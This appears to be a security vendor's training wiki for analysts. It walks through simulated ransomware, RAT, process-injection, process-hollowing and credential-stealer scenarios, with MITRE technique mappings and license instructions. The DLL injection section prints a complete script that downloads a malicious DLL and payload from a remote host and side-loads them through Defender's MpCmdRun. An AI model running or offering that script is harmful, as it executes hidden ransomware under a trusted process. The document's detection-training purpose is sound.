Cyber Crucible Training Info Scenarios Training Scenario - DLL Injection Group Name Training Data - Dll Injection (Hive) Scenario In this training scenario, we will execute an encrypted ransomware payload via DLL injection into a signed MS Defender. A custom DLL has been created, as an attacker would create it, which decrypts a fake .log file, and executes it. Many security tools will simply ignore processes started by a signed parent, particularly a signed antivirus parent, and even more particularly Defender. Defender commands are not only often allowed, but are often extremely privileged. Here the command that is weaponized is a signature update, something that is not only common, but would be ignored from any sort of malware hunt. Here we demonstrate that even with simple “living off the land” trade craft, an attacker can execute privileged payloads by staging a simple script with no custom injection tools on the machine. Here is the exact script run on the victim machine. Note how there is nothing explicitly malicious happening, copying the defender exe(s) to a staging directory is done just to highlight the C:\staging files in the root cause analysis. mkdir C:\staging copy C:\Windows\WinSxS\amd64_windows-defender-service_31bf3856ad364e35_10.0.19041.746_none_a39f6d9ab59bd8b7\* C:\staging move C:\staging\mpclient.dll C:\staging\realdll.dll; cd C:\staging curl 169.254.247.102:8000/0x80004006.log -outfile 0x80004006.log; curl 169.254.247.102:8000/mpclient.dll -outfile mpclient.dll ./MpCmdRun.exe -SignatureUpdate Breaking it down line by line: Staging directory created Defender copied to staging directory Real mpclient.dll is renamed Encrypted “log” file and malicious DLL are downloaded from a remote server Real signed MpCmdRun is executed with signature update task MpCmdRun.exe Identifying it Automated Response Starting with the automated response, alarm bells would be sounding in your head. Some process that has never been seen before, with a random GUID name, executed and kicked off Cyber Crucible and unsigned. However, note that the path here could easily be something a bit less scary looking. It’s intentionally left as C:\staging to highlight it. The immediate next step would be to find that file and figure out how it got there. Likely, it’s been deleted automatically, but we can look to Cyber Crucible’s process creations to see who ran it in the first place. Powershell → MpCmdRun → {7374F…} Just like described in the scenario above, a powershell script started a defender executable, which started our scary process. The malware payload then kicked off many children processes to do various staging tasks. Visibility into these background processes often will give insight into files created on the system, registry keys modified, worming activity, etc. Otherwise “invisible behavior” At this point the attack has been contained by Cyber Crucible, but analysis of the related processes is important to find scope of the malicious behaviors. The execution of the unsigned exe alone looks obvious when its laid out by Cyber Crucible, but many times background processes started by something as privileged and protected as Defender would simply be ignored. Relevant documentation Mitre T1543 - Creating or modifying a system process can disguise malicious code as a normal, trusted system process from malware detection. Mitre T1068 - Performing privilege escalation via software vulnerabilities can allow malicious code to escape permission restrictions or virtualized environments. Mitre T1055-001 - DLL injection can be used to load malicious code into a process by simply instructing the target process to load a new DLL or by replacing a legitimate DLL before it is loaded. Mitre T1059-001 - PowerShell is often used by Windows malware to perform malware setup, such as replacing legitimate files with malicious ones. Training Scenario - Vanilla Ransomware Group Name Training Data - Vanilla Ransomware (Hive) Scenario In this training scenario, we will execute a ‘vanilla’ ransomware payload, running as admin without any exploits. This simulates the basic example of a user downloading malware via a phishing link, malicious USB, etc. While this is a very simple execution method, if the payload is a zero day, it will still go unnoticed by signature based security products, and may too irreparable damage before cloud based behavioral products can get back an analysis. Identifying it Automated Response Identifying this incident is the easiest of all the samples. Once the suspicious file name on a file with no signature has been noticed, it’s an immediate red flag. To confirm the execution method, we can look into the process creations around the time of the incident. What we see confirms that there was no complex exploit method, or even a script! As with other samples, the child process creations are interesting, though. Even though the execution method of the malware itself was obvious, many background processes are started that disable protections and other system settings. At this point the attack has been contained by Cyber Crucible, but analysis of the related processes is important to find scope of the malicious behaviors. The execution of the unsigned exe alone looks obvious when its laid out by Cyber Crucible, but many times background processes started by something as privileged and protected as Defender would simply be ignored. Relevant documentation Mitre T1566 - Phishing may be used to trick a user into performing an action they would not have done otherwise such as running a script or sharing a password. Mitre T1091 - Malware may replicate itself onto removable media so that the next machine to connect it may execute via autorun or driver vulnerabilities. Mitre T1204 - User execution, often gained via phishing, is the simplest way malware may begin running. Training Scenario - Signed Ransomware Group Name Training Data - Signed Ransomware (Hive) Scenario In this training scenario, we will execute a ransomware payload, running as admin, and with a custom signature. This scenario is not too different from the ‘ vanilla ’ sample, but utilizes a signed executable. Often times signed executables are treated is if they are verified to be benign. While it’s true that certified software should all be signed, this is not a bidirectional relationship, and we shouldn’t trust things just because they’re signed. Unfortunately, sometimes that mistake is made. Identifying it Aside from the fact that this cert name is a bit odd for training purposes, how does Cyber Crucible know it’s not trustworthy? Cyber Crucible plays it safe and maintains a (group specific) list of trusted certificates. This means that we can easily catch test signing certs, as well as official certs from large CAs like digicerts. We can see above that even though the file “321d0…” is signed, it’s still not trusted. Since there are no other complex obfuscation techniques used to deploy the attack, we know exactly where it came from! To confirm the execution method, we can look into the process creations around the time of the incident. What we see confirms that there was no complex exploit method, or even a script! As with other samples, the child process creations are interesting, though. Even though the execution method of the malware itself was obvious, many background processes are started that disable protections and other system settings. At this point the attack has been contained by Cyber Crucible, but analysis of the related processes is important to find scope of the malicious behaviors. The execution of the unsigned exe alone looks obvious when its laid out by Cyber Crucible, but many times background processes started by something as privileged and protected as Defender would simply be ignored. Relevant documentation Mitre T1566 - Phishing may be used to trick a user into performing an action they would not have done otherwise such as running a script or sharing a password. Mitre T1091 - Malware may replicate itself onto removable media so that the next machine to connect it may execute via autorun or driver vulnerabilities. Mitre T1204 - User execution, often gained via phishing, is the simplest way malware to begin execution. Mitre T1587-002 - Code signing certificates are a way for an authority to certify that an applications code. Malware may generate a certificate that does not come from any certificate authority but may confuse a user into thinking it is legitimate. Mitre T1587-003 - SSL certificates are used to ensure that data transmission is trustworthy. In a poorly configured environment, malware may be able to install its own SSL certificate to facilitate man in the middle attacks. Training Scenario - Data Enumeration Group Name Training Data - RAT Exfil (Quasar) Scenario In this training scenario, we will execute a RAT on the victim machine, and use it to enumerate the data on disk, with the goal of exfiltrating files. While this is not a ransomware attack, the behaviors used by the RAT fall under the umbrella of the data extortion behaviors that Cyber Crucible detects. The response to the incident, and related data, look very similiar to that of the response to a ransomware payload, because to Cyber Crucible it’s all the same! Identifying it This executable looks a bit odd, but it’s in system32 and triggering repeated responses. Some more investigation is required to figure out what happened here. We can start by looking for child paths related to the response path. Here we get some more evidence to the story. A user ran the client-build.exe from the desktop, which is the RAT dropper. Then it looks like it privilege escalates via an svchost. There are still some missing pieces to the puzzle, though. How do we know this is a RAT and not just something interacting with svchost? This opens up a whole lot more visibility! Not only do we know for sure that some suspicious activity is going on, and what paths are related, but we know there’s persistence being created as well. And we even see that we’re dealing with Quasar, a well known RAT. Quasar is a sophisticated RAT, and does most of its behavior from within its own executable, choosing to bring its own statically compiled libraries rather than using Windows' default utilities for many things. But even Quasar gets caught using things like schtasks. Relevant documentation Mitre T1566 - Phishing may be used to trick a user into performing an action they would not have done otherwise such as running a script or sharing a password. Mitre T1091 - Malware may replicate itself onto removable media so that the next machine to connect it may execute via autorun or driver vulnerabilities. Mitre T1204 - User execution, often gained via phishing, is the simplest way malware to begin execution. Mitre T1547 - Malware may instruct Windows to execute malicious programs on boot or when a user logs in. Mitre T1037 - Malware may instruct Windows to execute malicious scripts on boot or when a user logs in. Mitre T1543 - Creating or modifying a system process can disguise malicious code as a normal, trusted system process from malware detection. Training Scenario - Process Injection Group Name Training Data - Process Injection (Hive) Scenario In this training scenario, we will execute a ransomware payload via process injection into an already running Svchost.exe. The Svchost in question is a normal system operation, long running, signed, and under the LocalSystem user account. Because the Svchost is ‘real’ it is often overlooked. Admins know that many instances of Svchost are run, and as long as the program’s arguments look correct, it is treated as a “black box” and left alone. This is an obvious, and often exploited, loophole for hackers to take advantage of. Combined with a zero day payload, this approach is very successful at obfuscating ransomware attacks. Identifying it svchost.exe’s Cert Signer(s) The situation around this automated response is not directly apparent at a glance. The command line arguments look valid for Svchost, and the executable is signed by Microsoft. The fact that there is an untrusted remote thread is suspicious, but requires more digging into. Many remote threads happen on a system, but most of them remain “trusted” as they are used for normal inter-process communication, data sharing, etc. When a remote thread is created into a process in an abnormal way, and is marked as untrusted, is where we need to scrutinize harder. Innocent Process Injections that occur normally In order to sort through the many process injections that happen on a system at any given time, we can refer to both the time of the incident, and the pid of the flagged process. Normally we will start with a few pids of suspicious responses, and go up the chain of injections and creation to gain the full story. Filtering out irrelevant injections The smoking gun! We already know that no one should be injecting into Svchost in this way, but definitely not this process! From here on we can treat this process as if it’s “malware.exe” and see who ran it, since someone must have. Processes started with pid 9168 Since there were two process creations with pid 9168, and they are very different, we can narrow it down based on the timestamp and/or the child path, and see that it was created by an explorer.exe. This means someone manually ran the injector process, and it can’t be some coincidence of Svchost behavior that was incorrectly flagged. Relevant documentation Process Injection Mitre T1559 - Inter-Process communication can provide control over the target process from the injector once the injection is complete. Mitre T1106 - Native APIs are often the closest access to operating system functionality for accessing files, running processes, and more. Mitre T1569 - Injecting into a system service such as an existing svchost can disguise malicious code to be reported as running from a well known and trusted process. Mitre T1055 - Process injection, usually used to run malicious code in a target process while allowing the original process to continue. Training Scenario - Memory Modification Group Name Training Data - Process Hollowing SQL (Hive) Scenario In this training scenario, we will execute a ransomware payload via process hollowing, an injection / evasion technique where a process is started and has its executable code modified to do some other behavior. In memory tradecraft is some of the hardest to detect, and even harder to have an automated response to, so it is often ignored. Memory is by definition volatile, and always changing. Identifying changes within a process' memory requires identifying relevant sections, and evaluating it during different times in a process' lifecycle to see if it has been tampered with. Identifying it Memory modified responses are by far the hardest to inspect. Since memory is ephemeral, it is treated like a “black box” and often kept at arms length. The good news is that as of Cyber Crucible 4.4.1.3 we now have the ability to automatically collect telemetry for modified memory samples, identifying what ranges of memory was modified, and the exact changes to them. That kind of analysis is very cumbersome to do however, so a good first step is to check the related processes in the dashboard in order to get an idea of related behavior. Since the process in question here is a signed SQLCMD.exe, it should be obvious quickly if this is a benign SQL process, or something worse. So far so good, just normal SQL processes, nothing necessarily suspicious or not. Although, we never like to see CMDs involved with automated responses. Lets do some more digging. The smoking gun! And there it is! We can keep scrolling and see more and more behaviors like these. The SQLCMD exe is running all kinds of commands to disable services, change configurations, and everything that ransomware would do preemptively. Here we can see a small idea of what waits for us when we start to dig deeper and analyze the memory diffs. Most of the tradecraft sophisticated enough to do fully in-memory malware is also going to obfuscate its code in memory. This makes analyzing it extremely difficult, but access to the extra telemetry has already proved invaluable for incident identification, as well as behavior tuning Relevant documentation Process Injection Mitre T1559 - Inter-Process communication can provide control over the target process from the injector once the injection is complete. Mitre T1106 - Native APIs are often the closest access to operating system functionality for accessing files, running processes, and more. Mitre T1569 - Injecting into a system service such as an existing svchost can disguise malicious code to be reported as running from a well known and trusted process. Mitre T1055 - Process injection, usually used to run malicious code in a target process while allowing the original process to continue. Mitre T1543 - Creating or modifying a system process can disguise malicious code as a normal, trusted system process from malware detection. Training Scenario - Identity Theft Group Name Training Data - Identity Theft (Redline) Scenario In this training scenario, we will execute a piece of “stealer” malware in order to perform the first stage of an attack, credential theft. Unlike the RAT scenario, this one does not use the same behaviors as ransomware. Instead, this is a part of Cyber Crucible’s growing identity protection capabilities. Often before an extortion even occurs, the first steps an attacker will do are to worm around the network and gain access to as many credentials as possible. In some cases this is an AD username/password combo, in other cases they are API keys grabbed out of browser sessions. Identifying it For now, lets dig in to some of what abnormal access looks like to the admin. Identity data accesses are very cut and dry, if the admins don’t recognize a program, it shouldn’t be accessing that data! This immediately stands out as something suspicious going on. What’s the flip side of this the attacker sees? Plaintext! These responses are not responses like traditional data extortion events, so they are not actions of automated suspension. Instead, they are more like process injections, where Cyber Crucible did not stand in the way. As our analytics have been growing out, we have learned what “normal” access to identity stores look like for various types of applications. By 2023 we will enable our protection feature, which will restrict access, at the kernel level, to various forms of identity databases and only allow the associated software to access them. Relevant documentation Process Injection Mitre T1559 - Inter-Process communication can provide control over the target process from the injector once the injection is complete. Mitre T1106 - Native APIs are often the closest access to operating system functionality for accessing files, running processes, and more. Mitre T1569 - Injecting into a system service such as an existing svchost can disguise malicious code to be reported as running from a well known and trusted process. Mitre T1055 - Process injection, usually used to run malicious code in a target process while allowing the original process to continue. Mitre T1543 - Creating or modifying a system process can disguise malicious code as a normal, trusted system process from malware detection. Mitre T1555 - Stored credentials from unencrypted managers or browsers may be used to gain access to privileged data. Mitre T1212 - Credentials could be stolen by taking advantage of vulnerable software that does not encrypt credentials inputted by a user. Memory Modification Created by Kyle Nehman , last modified on Oct 19, 2022 What is memory modification? Memory modification, as Cyber Crucible use the term, is when the executable sections of a process' memory have been modified in abnormal ways. The normal execution of a given process, without outside tampering, does not trigger these modification – they are separate from normal ‘volatile memory’ operations within a process. A common technique of memory modification is process hollowing, where an attacker will start a victim process on the machine, often starting in a suspended state, and change the executable code to actually execute the code of some other program. Relevant MITRE tactics: MITRE T1055 - Process injection, usually used to run malicious code in a target process while allowing the original process to continue. MITRE T1055-12 - Process injection by replacing code in a process, typically before it begins execution. MITRE T1559 - Inter-Process communication can provide control over the target process from the injector once the injection is complete. MITRE T1548 - Abusing elevation control can allow a process that would not normally have higher privileges be escalated to gain access to protected data. What are the consequences? Memory modifications can have very similar consequence to other process injection techniques, but is even more evasive. Since there is no remote thread creations, or external functions called, it can often be very difficult to detect memory modifications at all, even harder to attribute them to any particular process. A process that has modified memory can be forced to carry out malicious activity that it otherwise would not have. No process with executable memory that has been tampered with should be trusted, as it is not a normal occurrence for inter-process communications or interactions. What does Cyber Crucible do? Cyber Crucible monitors the state of a process' memory throughout its lifecycle. If the memory is deemed to be tampered with, then the process is flagged and considered untrusted. At the time of an extortion event occurring, the memory is snapshotted to be provided during potential IR investigations. The snapshotted memory contains the original, untampered, executable memory, and any “diffs”, with their offsets within the process' memory. Analysis of these memory dumps can be challenging, but can provide strong evidence towards the behaviors of the malicious code. How do I tell? Cyber Crucible Indicates Responses with Modified Memory Modified memory is harder and more ephemeral to track down than other methods of process injection. Instead, we provide a quick boolean value to see that the modification occurred, and from there analyzing the actual memory diffs require some deeper diving.   Some raw memory Disassembled memory                   Collecting the memory is just step one, even after disassembly the code can be very obfuscated and hard to read. The good news is that we have lots to go off of for this analysis when we have the original memory, associated metadata, the original executable, and the modified executable instructions themselves. 1. yes, 2.  Example Scenarios: Training Scenario - Memory Modification Mitre Techniques Covered Created by Noah Greenberg , last modified on Nov 03, 2022 Mitre Techniques Summary Training Scenarios T1037 Malware may instruct Windows to execute malicious scripts on boot or when a user logs in. T1055 Process injection, usually used to run malicious code in a target process while allowing the original process to continue. Training Scenario - Process Injection T1055-001 DLL injection can be used to load malicious code into a process by simply instructing the target process to load a new DLL or by replacing a legitimate DLL before it is loaded. Training Scenario - DLL Injection T1055-005 Process injection by modification of thread local storage, tricking the application into running malicious code during thread management. T1055-012 Process injection by replacing code in a process, typically before it begins execution. Training Scenario - Memory Modification T1055-013 Process injection by executing a malicious executable while tricking the OS and security products into scanning an older revision of the executable. T1059-001 PowerShell is often used by Windows malware to perform malware setup, such as replacing legitimate files with malicious ones. T1068 Performing privilege escalation via software vulnerabilities can allow malicious code to escape permission restrictions or virtualized environments. T1091 Malware may replicate itself onto removable media so that the next machine to connect it may execute via autorun or driver vulnerabilities. T1106 Native APIs are often the closest access to operating system functionality for accessing files, running processes, and more. T1204 User execution, often gained via phishing, is the simplest way malware may begin running. Training Scenario - Vanilla Ransomware T1212 Credentials could be stolen by taking advantage of vulnerable software that does not encrypt credentials inputted by a user. Training Scenario - Identity Theft Training Scenario - Data Enumeration T1543 Creating or modifying a system process can disguise malicious code as a normal, trusted system process from malware detection. Training Scenario - Process Injection Training Scenario - Memory Modification T1547 Malware may instruct Windows to execute malicious programs on boot or when a user logs in. T1548 Abusing elevation control can allow a process that would not normally have higher privileges be escalated to gain access to protected data. T1555 Stored credentials from unencrypted managers or browsers may be used to gain access to privileged data. Training Scenario - Identity Theft T1559 Inter-Process communication can provide control over the target process from the injector once the injection is complete. Training Scenario - Process Injection Training Scenario - DLL Injection Training Scenario - Memory Modification T1566 Phishing may be used to trick a user into performing an action they would not have done otherwise such as running a script or sharing a password. Training Scenario - Vanilla Ransomware T1569 Injecting into a system service such as an existing svchost can disguise malicious code to be reported as running from a well known and trusted process. Training Scenario - Process Injection T1574-002 Malicious DLLs can be forced to load into an otherwise legitimate process. Training Scenario - DLL Injection T1574-007 Executable resources such as DLLs can be redirected to malicious substitutes by abusing the PATH environment variable. Training Scenario - DLL Injection T1587-002 Code signing certificates are a way for an authority to certify that an applications code. Malware may generate a certificate that does not come from any certificate authority but may confuse a user into thinking it is legitimate. Training Scenario - Signed Ransomware T1587-003 SSL certificates are used to ensure that data transmission is trustworthy. In a poorly configured environment, malware may be able to install its own SSL certificate to facilitate man in the middle attacks. Training Scenario - Signed Ransomware Process Injection Created by Kyle Nehman , last modified on Oct 19, 2022 What are process injections? Process injections are when a (potentially malicious) process A forces process B to execute instructions that are not otherwise a part of its code. Process injection has many different techniques, the most common of which being to create a remote thread inside of the victim process. Often times, these new instruction are created side by side with the original program, so normal operations of the victim process B are not affected. Because of this, the injection will often go unnoticed. Relevant Mitre tactics: Mitre T1055 - Process injection, as described above. Used to evade malware detection by allowing the target process to continue operating normally while executing malicious code. Mitre T1559 - Inter-Process communication can provide control over the target process from the injector once the injection is complete. Mitre T1569 - Injecting into a system service such as an existing svchost can disguise malicious code to be reported as running from a well known and trusted process. What are the consequences? Untrusted process injections into an otherwise trusted process means that it’s no longer trusted. An otherwise uncorrupted installation of secured software, like a SQL server, can be forced to execute malware payloads. After process death and/or reboot of the system, any evidence of this tampering will be gone, since everything was purely done in memory with dynamic thread creation. What does Cyber Crucible do? Cyber Crucible monitors process injections that occur on the system, and does not stop the activity unless data extortion activities or ransomware encryption have begun. This is because some processes on the system will communicate via different process injection techniques, and will not perform any malicious behavior. Instead, Cyber Crucible will keep track of the injections that happen to and from each process on the system, and record it for use with potential root cause analysis later. This way we can know not just that a particular process is currently untrusted in memory, but also which process started the chain of malicious activity. How do I tell? When an automated response has the “untrusted remote threads” field true, we know we’re dealing with process injections. The good news is that we can grab the pid of the response, and search through the process injections around the time of the incident, and find the perpetrator. Example Scenarios: Training Scenario - Process Injection Training License Management Created by Mark Weideman , last modified on Oct 02, 2023 How to Purchase Training Licenses How to Assign Training Licenses to Users How to Release Training Licenses from Users How to Turn Training Mode On/Off How do I Reset My Training Data How to Purchase Training Licenses Users can navigate to our Training Licenses page by clicking the Training Licenses tab under Administration in the sidebar. Once on the Training Licenses page, the shopping cart icon is used to purchase training licenses. Clicking this icon will open a modal where you can select the group you are purchasing training licenses for, and how many licenses you are purchasing. You can either click pay now which will redirect you to a Stripe checkout form, or send an invoice. How to Assign Training Licenses to Users Users can assign training licenses by clicking the Assign to User button on a free license in the User column. Clicking this button will open a modal where you can select the user to assign the license to. How to Release Training Licenses from Users Users can release training licenses by selecting the desired licenses to release on the grid and clicking the trash can icon. You are able to release multiple licenses at one time by selecting multiple rows on the grid before clicking the trash can icon. How to Turn Training Mode On/Off Users can turn training mode on/off by navigating to the Account Settings page under the Administration tab in the sidebar. Then click the toggle to turn training mode on or off. How do I Reset My Training Data Users can reset their training data by navigating to the Account Settings page under the Administration tab in the sidebar and clicking the Reset Training Data button. Clicking the button will pop up a modal where you can select the group to reset the training data for. The data in each training group associated with the selected group will be reset back to its original state.